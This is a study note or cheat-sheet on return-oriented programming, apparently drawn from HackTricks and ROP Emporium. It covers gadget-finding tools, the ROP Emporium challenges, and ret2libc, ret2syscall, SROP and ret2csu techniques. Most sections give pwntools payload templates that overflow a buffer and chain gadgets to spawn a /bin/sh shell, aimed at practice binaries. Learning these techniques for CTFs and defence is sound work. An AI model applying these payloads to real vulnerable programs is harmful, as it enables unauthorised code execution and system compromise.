Binary Exploitation

Return Oriented Programming (ROP)

Return-oriented programming fundamentals including gadget discovery, chain construction, ret2libc, and bypassing NX protection through code reuse attacks.

Contents

Return Oriented Programming (ROP)

Sources: HackTricks - ROP | Crypto-Cat ROP Emporium (VIDEO Series)


What is ROP?

Return Oriented Programming chains together small instruction sequences ending in ret (called gadgets) from the binary itself to perform arbitrary actions — bypassing NX/DEP (non-executable stack).

[overflow padding] → [gadget1_addr] → [gadget2_addr] → ... → [function_addr]

Finding ROP Gadgets

# ROPgadget
ROPgadget --binary ./vuln
ROPgadget --binary ./vuln --ropchain

# ropper
ropper --file ./vuln
ropper --file ./vuln --search "pop rdi"

# pwntools
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

ROP Emporium Challenges (Crypto-Cat)

1. Ret2win — Basic ROP

Overwrite return address → call ret2win() function.

2. Split — Function + Argument

Call system() with "/bin/cat flag.txt" string that exists in binary.

payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(useful_string_addr)
payload += p64(system_plt)

3. Callme — Multiple Calls with Args

Call callme_one(1, 2, 3)callme_two(1, 2, 3)callme_three(1, 2, 3).

payload = b'A' * offset
for func in [callme_one, callme_two, callme_three]:
    payload += p64(pop_rdi_rsi_rdx)
    payload += p64(1) + p64(2) + p64(3)
    payload += p64(func)

4. Write4 — Write to Memory

Use mov [r14], r15; ret gadget to write “/bin/sh” to writable section, then call system().

5. Badchars — Encoding

Some characters are filtered. XOR encode payload, use ROP to decode in memory.

6. Fluff — Exotic Gadgets

Same goal as write4 but with unusual gadgets (xlatb, stosb, bswap, etc.).

7. Pivot — Stack Pivot

Stack space is limited → pivot to a larger writable area using xchg esp, eax; ret.

8. Ret2csu — __libc_csu_init

Use universal gadgets in __libc_csu_init to control rdx, rsi, edi and call function pointers.


Common ROP Techniques

Ret2libc (Bypass NX)

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6')
rop = ROP(elf)

# Leak puts() address from GOT
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])  # return to main

p.sendline(b'A' * offset + rop.chain())

# Parse leak
leaked_puts = u64(p.recvline()[:6].ljust(8, b'\x00'))
libc.address = leaked_puts - libc.symbols['puts']

# Second stage - call system("/bin/sh")
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh')))

p.sendline(b'A' * offset + rop2.chain())
p.interactive()

Ret2syscall (execve)

# 64-bit: syscall number in RAX, args in RDI, RSI, RDX
# execve("/bin/sh", NULL, NULL) = syscall 59

payload = b'A' * offset
payload += p64(pop_rax) + p64(59)           # execve syscall number
payload += p64(pop_rdi) + p64(bin_sh_addr)  # "/bin/sh"
payload += p64(pop_rsi) + p64(0)            # NULL
payload += p64(pop_rdx) + p64(0)            # NULL
payload += p64(syscall_ret)

SROP (Sigreturn Oriented Programming)

Use sigreturn syscall to set ALL registers at once from a fake signal frame.

from pwn import *

frame = SigreturnFrame()
frame.rax = 59          # execve
frame.rdi = bin_sh_addr # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall_addr

payload = b'A' * offset
payload += p64(pop_rax) + p64(15)  # sigreturn syscall
payload += p64(syscall_ret)
payload += bytes(frame)

Ret2dlresolve

Fake a dynamic symbol resolution to call any libc function without knowing libc base. Complex but powerful against ASLR.

BROP (Blind ROP)

Remotely discover gadgets by observing crash/no-crash behavior. Requires a fork-based server.


Ret2csu Gadgets

Found in __libc_csu_init of virtually every dynamically-linked ELF:

Gadget 1 (pop):
    pop rbx    ; 0
    pop rbp    ; 1
    pop r12    ; function pointer (GOT entry)
    pop r13    ; arg3 (rdx)
    pop r14    ; arg2 (rsi)
    pop r15    ; arg1 (edi)
    ret

Gadget 2 (call):
    mov rdx, r13
    mov rsi, r14
    mov edi, r15d
    call [r12 + rbx*8]

Stack Alignment (64-bit)

Ubuntu 18.04+ requires 16-byte stack alignment before function calls. Add a ret gadget if system() crashes:

payload = b'A' * offset
payload += p64(ret_gadget)    # Stack alignment!
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

References